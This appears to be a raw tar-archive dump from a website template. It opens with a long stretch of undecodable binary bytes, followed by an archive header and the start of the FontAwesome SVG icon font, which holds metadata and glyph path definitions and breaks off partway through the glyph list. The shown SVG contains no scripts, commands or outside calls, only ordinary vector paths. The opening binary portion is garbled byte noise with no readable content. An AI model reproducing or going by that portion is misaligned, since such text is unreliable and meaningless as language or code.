}woZ{/o?9w*z %އaa/G|<lO0!rQ&</P3\wDpˆn܂-?3u>wywᘋɀu}є<m󐼇O~p)>kyg{ü,Ǜuβ<d-rJXl	Kl<ٲNXs̖'[JlOY'٪բe&ٚ ]%R6$ʺ˾C| ĺ=m0C֝5,wd=x6V\YO(J?(m,!~Sr~n S%Z@6 meюp@~et  xc`d``:$ɠ L@`> (M xjAƿݤMk`RADݴ7?MhbW6;I&avk_@+@Uo'cBMH7g<dE	,p?-QvZ^SJr	/gp}oyw/xGY:wLƜle>[.1[.bq-	uyזK輵mwfyx~bbЇ1BL IvQK^Ik&LŽD0fb`0(JfRMdDI/DK1Z`*tMƬ d.do<UڨUڴMr;gzpXmk'F}FUF]=j;௲Ki"bD.xB$dy&_jQ>º\ՒO-9"ZmWj\DI滎SidIΩ+Щ})dG»2']ZJZrl$;2VznM"L4R+_ek=~^^8D9yWy1E&ϋx}WtȲuUb'X̔ؖ,O`ݶ5- 0̏1}̰Ls~N$ݾ}oW))L?nJ].ucԭRn4d 90
X	ư	l
l	[ְ	`{v`gv`w`o1P	`8 `8VL¡pGpp'ppgpPzj4Fj-hClX]p}p5C !D0 ·B.KR.+J
kZF	n[Vn;N{^AxGQx'Ix
gYxEx	^WUx3
o;.x7!0	$|
>"_/W5:|	߂ow=> ~?O39~	_o~?+¿/0bpXaQ\qčpc7psĭpk߄v=;N3n;{^7c	XAMN~?Ax0p
qgP<#H<
cX<D<):xgxX:6
[ڸ`袇k Cpqq-x^x^Wx^x^7xތxގwxލxޏ>>O>>/f|߆ow;]n|߇Ca|?ŏI~?E|_ƯWku~w{}?ƟOgso?/W?_JQ2i
TaQZFihcڄ6hsڂhkچDv=@;N3Bn;A{^7CST!LM~?@At0BhifP:#H:cX:D:NST:N3L:Φs\ydQ$E-jSlZM]rG}rɣ5S@!E4G@ΧB.KR.+JkZFn[Vn;N{^AzGQz'IzgYzEz^WcAv#(ot?StZ~Ayb:
nN/vj DUϝS۫|\QHnvr3ot<ϦjCҾk5|lIuw9baG10竖N^O踍nXouܾ

sTSM!ˮnSV\ShKѳn~mX=[ڡ؍bZGNXv3Y_sT+N_L:>WGAhӲo{	NwG[VCɩrs#_e=oNgy5YVS&ufLD T^n5iY|^~Hˡg<Mp\e|8~}ЉgҝZ0nA'DAMQ},&&9#k"G8T?ሆ%b`*ԭi;4Uv##r{"g9rpnYb)wWyFc5p@~;~=W~o\XljUXW;GY=W*{L;b*?!+,a^CW~l_b$Cerb2}N_crߥZLmzH؉z*LdIrZ8$1%'rq~͙e΋oko9lqB~ɽbm3C=A&pc'D˛t	p~l2s6K)74RrbCBe\܊dDdEzG`$`C!HUv;ɄVQy3CuV87'F^Z2ٺ8BP#
YJOb^:TAΧVgvq~A]vxvg(PwTk78G;y7b@q@5T>s;'MI#I3>+7A:p}=[|y-N*y.orJqQYX;(Ck8>koqDWpd5E=qunk6t$z"cÎ|١(S	cJ)0.Geɔq:-#$Y=ff-YVtyXKhQ]ԗHe_`~(5TAFֱ<b=.owI3љwfw3ł|0˗8-	/Ona.%e/$է<0"/h܈C3e9ibį9;8$"G!HJaWkdqIf)HǶI_({ڵrvj(N2f-iMj&Pd>Qĳhr&|`DC 	{nA9YH61G&Ύm/%	iźAJcO wtCŗ^l4b&ψ8WV/g|%%Y]%Ԯ{M>ɏ63Y8Tcx7V.M\7r8G
6CpWlЋcS\Ha/r6z#^`ޑ5,Q!^ߴ]&h#*ZL>K,GҧK\w>5]-2䖠qRs#?Xb9Vq-ˎJK!	<=
"4sύ=qWv/TKkXedI$9GM7\@&SJ5H⁚+C%)RVU)&E}Uc|8L
h,]M
hR@dVui(KQIf)EU	)4>&<и+RRb\kӵJ+	$J+	$0, ʂ(	gu!в1tmZ&akEX+V4tV!6dZC@2dȐ0a
zhL@fϻ?PUTTPUT*4US^nHKhĄ EE|Q_TEE|QĤ &!L
bnb܊BLa)$EYU)&)K2!0XKb	C,aIIHJ3bC`1!f03bC`	_FYeA!0ʂ" DzC7DzC7DzC7*0!!!!!!! LA)S,z.sK"!UAT!"!"!"!"!"!"!"!"1)DC"JU۴41kƙ")қ:&]2XbB
3Kooooooooof)Uzu]uYzRWzB׃VzJӺlROi);y4ҼSwJNi);y4ҼSWҴּӚwZNki;y5ּӚwZNkiͫckIҌѼ3WGؒ;yg4Ѽ3wFhY;yg5ռwVΊS&5&դtVj	                                                                                                                                                                                                                                                                                           system/helix3/assets/fonts/fontawesome-webfont.svg                                                  0000705                 00001543733 15242051520 0016443 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg>
<metadata>
Created by FontForge 20120731 at Mon Oct 24 17:37:40 2016
 By ,,,
Copyright Dave Gandy 2016. All rights reserved.
</metadata>
<defs>
<font id="FontAwesome" horiz-adv-x="1536" >
  <font-face 
    font-family="FontAwesome"
    font-weight="400"
    font-stretch="normal"
    units-per-em="1792"
    panose-1="0 0 0 0 0 0 0 0 0 0"
    ascent="1536"
    descent="-256"
    bbox="-1.02083 -256.962 2304.6 1537.02"
    underline-thickness="0"
    underline-position="0"
    unicode-range="U+0020-F500"
  />
<missing-glyph horiz-adv-x="896" 
d="M224 112h448v1312h-448v-1312zM112 0v1536h672v-1536h-672z" />
    <glyph glyph-name=".notdef" horiz-adv-x="896" 
d="M224 112h448v1312h-448v-1312zM112 0v1536h672v-1536h-672z" />
    <glyph glyph-name=".null" horiz-adv-x="0" 
 />
    <glyph glyph-name="nonmarkingreturn" horiz-adv-x="597" 
 />
    <glyph glyph-name="space" unicode=" " horiz-adv-x="448" 
 />
    <glyph glyph-name="dieresis" unicode="&#xa8;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="copyright" unicode="&#xa9;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="registered" unicode="&#xae;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="acute" unicode="&#xb4;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="AE" unicode="&#xc6;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="Oslash" unicode="&#xd8;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="trademark" unicode="&#x2122;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="infinity" unicode="&#x221e;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="notequal" unicode="&#x2260;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="glass" unicode="&#xf000;" horiz-adv-x="1792" 
d="M1699 1350q0 -35 -43 -78l-632 -632v-768h320q26 0 45 -19t19 -45t-19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45t45 19h320v768l-632 632q-43 43 -43 78q0 23 18 36.5t38 17.5t43 4h1408q23 0 43 -4t38 -17.5t18 -36.5z" />
    <glyph glyph-name="music" unicode="&#xf001;" 
d="M1536 1312v-1120q0 -50 -34 -89t-86 -60.5t-103.5 -32t-96.5 -10.5t-96.5 10.5t-103.5 32t-86 60.5t-34 89t34 89t86 60.5t103.5 32t96.5 10.5q105 0 192 -39v537l-768 -237v-709q0 -50 -34 -89t-86 -60.5t-103.5 -32t-96.5 -10.5t-96.5 10.5t-103.5 32t-86 60.5t-34 89
t34 89t86 60.5t103.5 32t96.5 10.5q105 0 192 -39v967q0 31 19 56.5t49 35.5l832 256q12 4 28 4q40 0 68 -28t28 -68z" />
    <glyph glyph-name="search" unicode="&#xf002;" horiz-adv-x="1664" 
d="M1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1664 -128q0 -52 -38 -90t-90 -38q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5
t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z" />
    <glyph glyph-name="envelope" unicode="&#xf003;" horiz-adv-x="1792" 
d="M1664 32v768q-32 -36 -69 -66q-268 -206 -426 -338q-51 -43 -83 -67t-86.5 -48.5t-102.5 -24.5h-1h-1q-48 0 -102.5 24.5t-86.5 48.5t-83 67q-158 132 -426 338q-37 30 -69 66v-768q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1664 1083v11v13.5t-0.5 13
t-3 12.5t-5.5 9t-9 7.5t-14 2.5h-1472q-13 0 -22.5 -9.5t-9.5 -22.5q0 -168 147 -284q193 -152 401 -317q6 -5 35 -29.5t46 -37.5t44.5 -31.5t50.5 -27.5t43 -9h1h1q20 0 43 9t50.5 27.5t44.5 31.5t46 37.5t35 29.5q208 165 401 317q54 43 100.5 115.5t46.5 131.5z
M1792 1120v-1088q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="heart" unicode="&#xf004;" horiz-adv-x="1792" 
d="M896 -128q-26 0 -44 18l-624 602q-10 8 -27.5 26t-55.5 65.5t-68 97.5t-53.5 121t-23.5 138q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5q224 0 351 -124t127 -344q0 -221 -229 -450l-623 -600
q-18 -18 -44 -18z" />
    <glyph glyph-name="star" unicode="&#xf005;" horiz-adv-x="1664" 
d="M1664 889q0 -22 -26 -48l-363 -354l86 -500q1 -7 1 -20q0 -21 -10.5 -35.5t-30.5 -14.5q-19 0 -40 12l-449 236l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41t49 -41l225 -455
l502 -73q56 -9 56 -46z" />
    <glyph glyph-name="star_empty" unicode="&#xf006;" horiz-adv-x="1664" 
d="M1137 532l306 297l-422 62l-189 382l-189 -382l-422 -62l306 -297l-73 -421l378 199l377 -199zM1664 889q0 -22 -26 -48l-363 -354l86 -500q1 -7 1 -20q0 -50 -41 -50q-19 0 -40 12l-449 236l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500
l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41t49 -41l225 -455l502 -73q56 -9 56 -46z" />
    <glyph glyph-name="user" unicode="&#xf007;" horiz-adv-x="1280" 
d="M1280 137q0 -109 -62.5 -187t-150.5 -78h-854q-88 0 -150.5 78t-62.5 187q0 85 8.5 160.5t31.5 152t58.5 131t94 89t134.5 34.5q131 -128 313 -128t313 128q76 0 134.5 -34.5t94 -89t58.5 -131t31.5 -152t8.5 -160.5zM1024 1024q0 -159 -112.5 -271.5t-271.5 -112.5
t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="film" unicode="&#xf008;" horiz-adv-x="1920" 
d="M384 -64v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM384 320v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM384 704v128q0 26 -19 45t-45 19h-128
q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1408 -64v512q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-512q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM384 1088v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45
t45 -19h128q26 0 45 19t19 45zM1792 -64v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1408 704v512q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-512q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM1792 320v128
q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1792 704v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1792 1088v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19
t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1920 1248v-1344q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1344q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="th_large" unicode="&#xf009;" horiz-adv-x="1664" 
d="M768 512v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM768 1280v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM1664 512v-384q0 -52 -38 -90t-90 -38
h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM1664 1280v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90z" />
    <glyph glyph-name="th" unicode="&#xf00a;" horiz-adv-x="1792" 
d="M512 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 288v-192q0 -40 -28 -68t-68 -28h-320
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28
h320q40 0 68 -28t28 -68zM1792 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 800v-192
q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68z" />
    <glyph glyph-name="th_list" unicode="&#xf00b;" horiz-adv-x="1792" 
d="M512 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 288v-192q0 -40 -28 -68t-68 -28h-960
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h960q40 0 68 -28t28 -68zM512 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 800v-192q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v192q0 40 28 68t68 28
h960q40 0 68 -28t28 -68zM1792 1312v-192q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h960q40 0 68 -28t28 -68z" />
    <glyph glyph-name="ok" unicode="&#xf00c;" horiz-adv-x="1792" 
d="M1671 970q0 -40 -28 -68l-724 -724l-136 -136q-28 -28 -68 -28t-68 28l-136 136l-362 362q-28 28 -28 68t28 68l136 136q28 28 68 28t68 -28l294 -295l656 657q28 28 68 28t68 -28l136 -136q28 -28 28 -68z" />
    <glyph glyph-name="remove" unicode="&#xf00d;" horiz-adv-x="1408" 
d="M1298 214q0 -40 -28 -68l-136 -136q-28 -28 -68 -28t-68 28l-294 294l-294 -294q-28 -28 -68 -28t-68 28l-136 136q-28 28 -28 68t28 68l294 294l-294 294q-28 28 -28 68t28 68l136 136q28 28 68 28t68 -28l294 -294l294 294q28 28 68 28t68 -28l136 -136q28 -28 28 -68
t-28 -68l-294 -294l294 -294q28 -28 28 -68z" />
    <glyph glyph-name="zoom_in" unicode="&#xf00e;" horiz-adv-x="1664" 
d="M1024 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-224v-224q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v224h-224q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h224v224q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5v-224h224
q13 0 22.5 -9.5t9.5 -22.5zM1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1664 -128q0 -53 -37.5 -90.5t-90.5 -37.5q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5
t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z" />
    <glyph glyph-name="zoom_out" unicode="&#xf010;" horiz-adv-x="1664" 
d="M1024 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-576q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h576q13 0 22.5 -9.5t9.5 -22.5zM1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5z
M1664 -128q0 -53 -37.5 -90.5t-90.5 -37.5q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z
" />
    <glyph glyph-name="off" unicode="&#xf011;" 
d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61t-298 61t-245 164t-164 245t-61 298q0 182 80.5 343t226.5 270q43 32 95.5 25t83.5 -50q32 -42 24.5 -94.5t-49.5 -84.5q-98 -74 -151.5 -181t-53.5 -228q0 -104 40.5 -198.5t109.5 -163.5t163.5 -109.5
t198.5 -40.5t198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5q0 121 -53.5 228t-151.5 181q-42 32 -49.5 84.5t24.5 94.5q31 43 84 50t95 -25q146 -109 226.5 -270t80.5 -343zM896 1408v-640q0 -52 -38 -90t-90 -38t-90 38t-38 90v640q0 52 38 90t90 38t90 -38t38 -90z" />
    <glyph glyph-name="signal" unicode="&#xf012;" horiz-adv-x="1792" 
d="M256 96v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM640 224v-320q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v320q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1024 480v-576q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23
v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1408 864v-960q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 1376v-1472q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v1472q0 14 9 23t23 9h192q14 0 23 -9t9 -23z" />
    <glyph glyph-name="cog" unicode="&#xf013;" 
d="M1024 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1536 749v-222q0 -12 -8 -23t-20 -13l-185 -28q-19 -54 -39 -91q35 -50 107 -138q10 -12 10 -25t-9 -23q-27 -37 -99 -108t-94 -71q-12 0 -26 9l-138 108q-44 -23 -91 -38
q-16 -136 -29 -186q-7 -28 -36 -28h-222q-14 0 -24.5 8.5t-11.5 21.5l-28 184q-49 16 -90 37l-141 -107q-10 -9 -25 -9q-14 0 -25 11q-126 114 -165 168q-7 10 -7 23q0 12 8 23q15 21 51 66.5t54 70.5q-27 50 -41 99l-183 27q-13 2 -21 12.5t-8 23.5v222q0 12 8 23t19 13
l186 28q14 46 39 92q-40 57 -107 138q-10 12 -10 24q0 10 9 23q26 36 98.5 107.5t94.5 71.5q13 0 26 -10l138 -107q44 23 91 38q16 136 29 186q7 28 36 28h222q14 0 24.5 -8.5t11.5 -21.5l28 -184q49 -16 90 -37l142 107q9 9 24 9q13 0 25 -10q129 -119 165 -170q7 -8 7 -22
q0 -12 -8 -23q-15 -21 -51 -66.5t-54 -70.5q26 -50 41 -98l183 -28q13 -2 21 -12.5t8 -23.5z" />
    <glyph glyph-name="trash" unicode="&#xf014;" horiz-adv-x="1408" 
d="M512 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM768 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1024 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576
q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1152 76v948h-896v-948q0 -22 7 -40.5t14.5 -27t10.5 -8.5h832q3 0 10.5 8.5t14.5 27t7 40.5zM480 1152h448l-48 117q-7 9 -17 11h-317q-10 -2 -17 -11zM1408 1120v-64q0 -14 -9 -23t-23 -9h-96v-948q0 -83 -47 -143.5t-113 -60.5h-832
q-66 0 -113 58.5t-47 141.5v952h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h309l70 167q15 37 54 63t79 26h320q40 0 79 -26t54 -63l70 -167h309q14 0 23 -9t9 -23z" />
    <glyph glyph-name="home" unicode="&#xf015;" horiz-adv-x="1664" 
d="M1408 544v-480q0 -26 -19 -45t-45 -19h-384v384h-256v-384h-384q-26 0 -45 19t-19 45v480q0 1 0.5 3t0.5 3l575 474l575 -474q1 -2 1 -6zM1631 613l-62 -74q-8 -9 -21 -11h-3q-13 0 -21 7l-692 577l-692 -577q-12 -8 -24 -7q-13 2 -21 11l-62 74q-8 10 -7 23.5t11 21.5
l719 599q32 26 76 26t76 -26l244 -204v195q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-408l219 -182q10 -8 11 -21.5t-7 -23.5z" />
    <glyph glyph-name="file_alt" unicode="&#xf016;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
" />
    <glyph glyph-name="time" unicode="&#xf017;" 
d="M896 992v-448q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="road" unicode="&#xf018;" horiz-adv-x="1920" 
d="M1111 540v4l-24 320q-1 13 -11 22.5t-23 9.5h-186q-13 0 -23 -9.5t-11 -22.5l-24 -320v-4q-1 -12 8 -20t21 -8h244q12 0 21 8t8 20zM1870 73q0 -73 -46 -73h-704q13 0 22 9.5t8 22.5l-20 256q-1 13 -11 22.5t-23 9.5h-272q-13 0 -23 -9.5t-11 -22.5l-20 -256
q-1 -13 8 -22.5t22 -9.5h-704q-46 0 -46 73q0 54 26 116l417 1044q8 19 26 33t38 14h339q-13 0 -23 -9.5t-11 -22.5l-15 -192q-1 -14 8 -23t22 -9h166q13 0 22 9t8 23l-15 192q-1 13 -11 22.5t-23 9.5h339q20 0 38 -14t26 -33l417 -1044q26 -62 26 -116z" />
    <glyph glyph-name="download_alt" unicode="&#xf019;" horiz-adv-x="1664" 
d="M1280 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 416v-320q0 -40 -28 -68t-68 -28h-1472q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h465l135 -136
q58 -56 136 -56t136 56l136 136h464q40 0 68 -28t28 -68zM1339 985q17 -41 -14 -70l-448 -448q-18 -19 -45 -19t-45 19l-448 448q-31 29 -14 70q17 39 59 39h256v448q0 26 19 45t45 19h256q26 0 45 -19t19 -45v-448h256q42 0 59 -39z" />
    <glyph glyph-name="download" unicode="&#xf01a;" 
d="M1120 608q0 -12 -10 -24l-319 -319q-11 -9 -23 -9t-23 9l-320 320q-15 16 -7 35q8 20 30 20h192v352q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-352h192q14 0 23 -9t9 -23zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273
t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="upload" unicode="&#xf01b;" 
d="M1118 660q-8 -20 -30 -20h-192v-352q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v352h-192q-14 0 -23 9t-9 23q0 12 10 24l319 319q11 9 23 9t23 -9l320 -320q15 -16 7 -35zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198
t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="inbox" unicode="&#xf01c;" 
d="M1023 576h316q-1 3 -2.5 8.5t-2.5 7.5l-212 496h-708l-212 -496q-1 -3 -2.5 -8.5t-2.5 -7.5h316l95 -192h320zM1536 546v-482q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v482q0 62 25 123l238 552q10 25 36.5 42t52.5 17h832q26 0 52.5 -17t36.5 -42l238 -552
q25 -61 25 -123z" />
    <glyph glyph-name="play_circle" unicode="&#xf01d;" 
d="M1184 640q0 -37 -32 -55l-544 -320q-15 -9 -32 -9q-16 0 -32 8q-32 19 -32 56v640q0 37 32 56q33 18 64 -1l544 -320q32 -18 32 -55zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="repeat" unicode="&#xf01e;" 
d="M1536 1280v-448q0 -26 -19 -45t-45 -19h-448q-42 0 -59 40q-17 39 14 69l138 138q-148 137 -349 137q-104 0 -198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5q119 0 225 52t179 147q7 10 23 12q15 0 25 -9
l137 -138q9 -8 9.5 -20.5t-7.5 -22.5q-109 -132 -264 -204.5t-327 -72.5q-156 0 -298 61t-245 164t-164 245t-61 298t61 298t164 245t245 164t298 61q147 0 284.5 -55.5t244.5 -156.5l130 129q29 31 70 14q39 -17 39 -59z" />
    <glyph glyph-name="refresh" unicode="&#xf021;" 
d="M1511 480q0 -5 -1 -7q-64 -268 -268 -434.5t-478 -166.5q-146 0 -282.5 55t-243.5 157l-129 -129q-19 -19 -45 -19t-45 19t-19 45v448q0 26 19 45t45 19h448q26 0 45 -19t19 -45t-19 -45l-137 -137q71 -66 161 -102t187 -36q134 0 250 65t186 179q11 17 53 117
q8 23 30 23h192q13 0 22.5 -9.5t9.5 -22.5zM1536 1280v-448q0 -26 -19 -45t-45 -19h-448q-26 0 -45 19t-19 45t19 45l138 138q-148 137 -349 137q-134 0 -250 -65t-186 -179q-11 -17 -53 -117q-8 -23 -30 -23h-199q-13 0 -22.5 9.5t-9.5 22.5v7q65 268 270 434.5t480 166.5
q146 0 284 -55.5t245 -156.5l130 129q19 19 45 19t45 -19t19 -45z" />
    <glyph glyph-name="list_alt" unicode="&#xf022;" horiz-adv-x="1792" 
